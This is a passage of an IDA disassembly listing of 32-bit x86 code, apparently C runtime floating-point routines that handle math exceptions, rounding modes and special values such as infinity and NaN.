		pop	ecx
		jmp	short loc_420D7B
; ---------------------------------------------------------------------------


loc_420D64:				; CODE XREF: sub_420375+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420DEB
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420DEB
		add	esp, 10h


loc_420D7B:				; CODE XREF: sub_420375+1Fj
					; sub_420375+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420D92


loc_420D81:				; CODE XREF: sub_420375+9BDj
					; sub_420375+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420D95
		cmp	[ebp+var_15], al
		jnz	short loc_420D95
		or	eax, 0FFFFFFFFh
		jmp	short loc_420D95
; ---------------------------------------------------------------------------


loc_420D92:				; CODE XREF: sub_420375+A0Aj
		mov	eax, [ebp+var_34]


loc_420D95:				; CODE XREF: sub_420375+A11j
					; sub_420375+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420375	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D9A	proc near		; CODE XREF: sub_420375+7A3p
					; sub_420375+8DCp

arg_0		= dword	ptr  4

		cmp	dword_44276C, 1
		push	esi
		jle	short loc_420DB4
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_420DC3
; ---------------------------------------------------------------------------


loc_420DB4:				; CODE XREF: sub_420D9A+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_442560
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420DC3:				; CODE XREF: sub_420D9A+18j
		test	eax, eax
		jnz	short loc_420DCD
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420DCD:				; CODE XREF: sub_420D9A+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420D9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_420DD1	proc near		; CODE XREF: sub_420375+1E1p
					; sub_420375+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420DE3
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420DE3:				; CODE XREF: sub_420DD1+7j
		push	edx
		call	sub_41EEA8
		pop	ecx
		retn
sub_420DD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_420DEB	proc near		; CODE XREF: sub_420375+6Bp
					; sub_420375+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420E01
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423E0F
		pop	ecx
		pop	ecx

locret_420E01:				; CODE XREF: sub_420DEB+5j
		retn
sub_420DEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_420E02	proc near		; CODE XREF: sub_420375+63p
					; sub_420375+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420E08:				; CODE XREF: sub_420E02+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420DD1
		mov	edi, eax
		push	edi
		call	sub_41DD40
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420E08
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420E02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420E26(int, int, double, int)

sub_420E26	proc near		; CODE XREF: sub_41CD19+51p
					; sub_41CE5F+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_442EE0, 0
		jnz	short loc_420E5B
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_4213DB
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420E5B:				; CODE XREF: sub_420E26+Aj
		push	0FFFFh
		mov	dword_4E14F8, 21h
		push	[ebp+arg_C]
		call	sub_42164E
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_420E79(int, int, double, double, int)

sub_420E79	proc near		; CODE XREF: sub_41CD19:loc_41CDDCp
					; sub_41CE5F:loc_41CF22p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_4211C4
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420EB7
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_420F11
		add	esp, 18h


loc_420EB7:				; CODE XREF: sub_420E79+1Aj
		push	[ebp+arg_0]
		call	sub_4214AE
		cmp	dword_442EE0, 0
		pop	ecx
		jnz	short loc_420EF5
		test	eax, eax
		jz	short loc_420EF5
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_4213DB
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_420EF5:				; CODE XREF: sub_420E79+4Ej
					; sub_420E79+52j
		push	eax
		call	sub_421463
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_42164E
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_420E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420F11	proc near		; CODE XREF: sub_420E79+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_420F43
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_420F43:				; CODE XREF: sub_420F11+23j
		test	cl, 2
		jz	short loc_420F56
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_420F56:				; CODE XREF: sub_420F11+35j
		test	cl, bl
		jz	short loc_420F68
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_420F68:				; CODE XREF: sub_420F11+47j
		test	cl, 4
		jz	short loc_420F7B
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_420F7B:				; CODE XREF: sub_420F11+5Aj
		test	cl, 8
		jz	short loc_420F8E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_420F8E:				; CODE XREF: sub_420F11+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_421631
		test	al, bl
		jz	short loc_421017
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_421017:				; CODE XREF: sub_420F11+FDj
		test	al, 4
		jz	short loc_421022
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_421022:				; CODE XREF: sub_420F11+108j
		test	al, 8
		jz	short loc_42102D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_42102D:				; CODE XREF: sub_420F11+113j
		test	al, 10h
		jz	short loc_421037
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421037:				; CODE XREF: sub_420F11+11Ej
		test	al, 20h
		jz	short loc_421041
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_421041:				; CODE XREF: sub_420F11+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421080
		cmp	eax, 400h
		jz	short loc_421072
		cmp	eax, 800h
		jz	short loc_421066
		cmp	eax, ecx
		jnz	short loc_421086
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421086
; ---------------------------------------------------------------------------


loc_421066:				; CODE XREF: sub_420F11+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_42107C
; ---------------------------------------------------------------------------


loc_421072:				; CODE XREF: sub_420F11+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_42107C:				; CODE XREF: sub_420F11+15Fj
		mov	[eax], ecx
		jmp	short loc_421086
; ---------------------------------------------------------------------------


loc_421080:				; CODE XREF: sub_420F11+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421086:				; CODE XREF: sub_420F11+14Bj
					; sub_420F11+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_4210B1
		cmp	eax, 200h
		jz	short loc_4210A4
		cmp	eax, ecx
		jnz	short loc_4210BE
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_4210BE
; ---------------------------------------------------------------------------


loc_4210A4:				; CODE XREF: sub_420F11+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_4210BC
; ---------------------------------------------------------------------------


loc_4210B1:				; CODE XREF: sub_420F11+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_4210BC:				; CODE XREF: sub_420F11+19Ej
		mov	[eax], ecx


loc_4210BE:				; CODE XREF: sub_420F11+189j
					; sub_420F11+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42163F
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_42705C	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421138
		and	dword ptr [esi], 0FFFFFFFEh


loc_421138:				; CODE XREF: sub_420F11+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421141
		and	dword ptr [esi], 0FFFFFFFBh


loc_421141:				; CODE XREF: sub_420F11+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_42114A
		and	dword ptr [esi], 0FFFFFFF7h


loc_42114A:				; CODE XREF: sub_420F11+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421153
		and	dword ptr [esi], 0FFFFFFEFh


loc_421153:				; CODE XREF: sub_420F11+23Dj
		test	[eax+8], bl
		jz	short loc_42115B
		and	dword ptr [esi], 0FFFFFFDFh


loc_42115B:				; CODE XREF: sub_420F11+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42118F
		dec	ecx
		jz	short loc_421183
		dec	ecx
		jz	short loc_421179
		dec	ecx
		jnz	short loc_421191
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421191
; ---------------------------------------------------------------------------


loc_421179:				; CODE XREF: sub_420F11+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_42118B
; ---------------------------------------------------------------------------


loc_421183:				; CODE XREF: sub_420F11+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_42118B:				; CODE XREF: sub_420F11+270j
		mov	[esi], ecx
		jmp	short loc_421191
; ---------------------------------------------------------------------------


loc_42118F:				; CODE XREF: sub_420F11+257j
		and	[esi], edx


loc_421191:				; CODE XREF: sub_420F11+260j
					; sub_420F11+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_4211B1
		dec	ecx
		jz	short loc_4211A8
		dec	ecx
		jnz	short loc_4211BA
		and	[esi], edx
		jmp	short loc_4211BA
; ---------------------------------------------------------------------------


loc_4211A8:				; CODE XREF: sub_420F11+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_4211B8
; ---------------------------------------------------------------------------


loc_4211B1:				; CODE XREF: sub_420F11+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_4211B8:				; CODE XREF: sub_420F11+29Ej
		mov	[esi], ecx


loc_4211BA:				; CODE XREF: sub_420F11+291j
					; sub_420F11+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420F11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4211C4	proc near		; CODE XREF: sub_420E79+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_4211EF
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_4211EF
		push	ebx
		call	sub_421671
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_4213B9
; ---------------------------------------------------------------------------


loc_4211EF:				; CODE XREF: sub_4211C4+15j
					; sub_4211C4+1Aj
		test	al, 4
		jz	short loc_421209
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421209
		push	4
		call	sub_421671
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_4213B9
; ---------------------------------------------------------------------------


loc_421209:				; CODE XREF: sub_4211C4+2Dj
					; sub_4211C4+33j
		test	al, bl
		jz	loc_4212E3
		test	byte ptr [ebp+arg_8], 8
		jz	loc_4212E3
		push	8
		call	sub_421671
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_4212BB
		cmp	ecx, 400h
		jz	short loc_421293
		cmp	ecx, 800h
		jz	short loc_42126B
		cmp	ecx, eax
		jnz	loc_4212DB
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427858
		fld	dbl_442AD8
		fnstsw	ax
		sahf
		ja	short loc_421263
		fchs


loc_421263:				; CODE XREF: sub_4211C4+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4212D9
; ---------------------------------------------------------------------------


loc_42126B:				; CODE XREF: sub_4211C4+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427858
		fnstsw	ax
		sahf
		jbe	short loc_421283
		fld	dbl_442AC8
		jmp	short loc_42128B
; ---------------------------------------------------------------------------


loc_421283:				; CODE XREF: sub_4211C4+B5j
		fld	dbl_442AD8
		fchs


loc_42128B:				; CODE XREF: sub_4211C4+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4212D9
; ---------------------------------------------------------------------------


loc_421293:				; CODE XREF: sub_4211C4+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427858
		fnstsw	ax
		sahf
		jbe	short loc_4212AB
		fld	dbl_442AD8
		jmp	short loc_4212B3
; ---------------------------------------------------------------------------


loc_4212AB:				; CODE XREF: sub_4211C4+DDj
		fld	dbl_442AC8
		fchs


loc_4212B3:				; CODE XREF: sub_4211C4+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4212D9
; ---------------------------------------------------------------------------


loc_4212BB:				; CODE XREF: sub_4211C4+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427858
		fld	dbl_442AC8
		fnstsw	ax
		sahf
		ja	short loc_4212D3
		fchs


loc_4212D3:				; CODE XREF: sub_4211C4+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_4212D9:				; CODE XREF: sub_4211C4+A5j
					; sub_4211C4+CDj ...
		fstp	qword ptr [ecx]


loc_4212DB:				; CODE XREF: sub_4211C4+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_4213B9
; ---------------------------------------------------------------------------


loc_4212E3:				; CODE XREF: sub_4211C4+47j
					; sub_4211C4+51j
		test	al, 2
		jz	loc_4213B9
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_4213B9
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_4212FE
		mov	esi, ebx


loc_4212FE:				; CODE XREF: sub_4211C4+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427858
		fnstsw	ax
		sahf
		jz	loc_4213A7
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421570
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421349
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_42139D
; ---------------------------------------------------------------------------


loc_421349:				; CODE XREF: sub_4211C4+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427858
		fnstsw	ax
		sahf
		jnb	short loc_42135B
		mov	edx, ebx
		jmp	short loc_42135D
; ---------------------------------------------------------------------------


loc_42135B:				; CODE XREF: sub_4211C4+191j
		xor	edx, edx


loc_42135D:				; CODE XREF: sub_4211C4+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421391
		sub	eax, ecx


loc_421374:				; CODE XREF: sub_4211C4+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42137F
		test	esi, esi
		jnz	short loc_42137F
		mov	esi, ebx


loc_42137F:				; CODE XREF: sub_4211C4+1B3j
					; sub_4211C4+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_42138B
		or	byte ptr [ebp+var_C+3],	80h


loc_42138B:				; CODE XREF: sub_4211C4+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421374


loc_421391:				; CODE XREF: sub_4211C4+1ACj
		test	edx, edx
		jz	short loc_42139D
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_42139D:				; CODE XREF: sub_4211C4+183j
					; sub_4211C4+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_4213A9
; ---------------------------------------------------------------------------


loc_4213A7:				; CODE XREF: sub_4211C4+14Ej
		mov	esi, ebx


loc_4213A9:				; CODE XREF: sub_4211C4+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_4213B6
		push	10h
		call	sub_421671
		pop	ecx


loc_4213B6:				; CODE XREF: sub_4211C4+1E8j
		and	edi, 0FFFFFFFDh


loc_4213B9:				; CODE XREF: sub_4211C4+26j
					; sub_4211C4+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_4213D0
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_4213D0
		push	20h
		call	sub_421671
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_4213D0:				; CODE XREF: sub_4211C4+1F9j
					; sub_4211C4+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_4211C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4213DB(int, int, int,	int, int, int, double, int)

sub_4213DB	proc near		; CODE XREF: sub_420E26+2Bp
					; sub_420E79+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421489
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421446
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_42164E
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_423E7D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421440
		push	esi
		call	sub_421463
		pop	ecx


loc_421440:				; CODE XREF: sub_4213DB+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_4213DB+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_42164E
		push	[ebp+arg_0]
		call	sub_421463
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_4213DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421463	proc near		; CODE XREF: sub_420E79+7Dp
					; sub_4213DB+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_42147E
		jle	short locret_421488
		cmp	eax, 3
		jg	short locret_421488
		mov	dword_4E14F8, 22h
		retn
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_421463+7j
		mov	dword_4E14F8, 21h

locret_421488:				; CODE XREF: sub_421463+9j
					; sub_421463+Ej
		retn
sub_421463	endp


; =============== S U B	R O U T	I N E =======================================



sub_421489	proc near		; CODE XREF: sub_4213DB+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_4429F0


loc_421490:				; CODE XREF: sub_421489+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_4214A6
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_442AC8
		jl	short loc_421490
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4214A6:				; CODE XREF: sub_421489+Dj
		mov	eax, off_4429F4[ecx*8]
		retn
sub_421489	endp


; =============== S U B	R O U T	I N E =======================================



sub_4214AE	proc near		; CODE XREF: sub_420E79+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_4214BA
		push	5
		jmp	short loc_4214D0
; ---------------------------------------------------------------------------


loc_4214BA:				; CODE XREF: sub_4214AE+6j
		test	al, 8
		jz	short loc_4214C2
		push	1
		jmp	short loc_4214D0
; ---------------------------------------------------------------------------


loc_4214C2:				; CODE XREF: sub_4214AE+Ej
		test	al, 4
		jz	short loc_4214CA
		push	2
		jmp	short loc_4214D0
; ---------------------------------------------------------------------------


loc_4214CA:				; CODE XREF: sub_4214AE+16j
		test	al, 1
		jz	short loc_4214D2
		push	3


loc_4214D0:				; CODE XREF: sub_4214AE+Aj
					; sub_4214AE+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4214D2:				; CODE XREF: sub_4214AE+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_4214AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4214DB(double)

sub_4214DB	proc near		; CODE XREF: sub_41CD19:loc_41CD9Fp
					; sub_41CE5F:loc_41CEE5p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_4214DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4214ED(double, int)

sub_4214ED	proc near		; CODE XREF: sub_421570+82p
					; sub_421570+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_4214ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421516	proc near		; CODE XREF: sub_41CD19+31p
					; sub_41CE5F+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_42152D
		cmp	[ebp+arg_0], edx
		jnz	short loc_42153F
		push	1
		jmp	short loc_421569
; ---------------------------------------------------------------------------


loc_42152D:				; CODE XREF: sub_421516+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_42153F
		cmp	[ebp+arg_0], edx
		jnz	short loc_42153F
		push	2
		jmp	short loc_421569
; ---------------------------------------------------------------------------


loc_42153F:				; CODE XREF: sub_421516+11j
					; sub_421516+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421552
		push	3
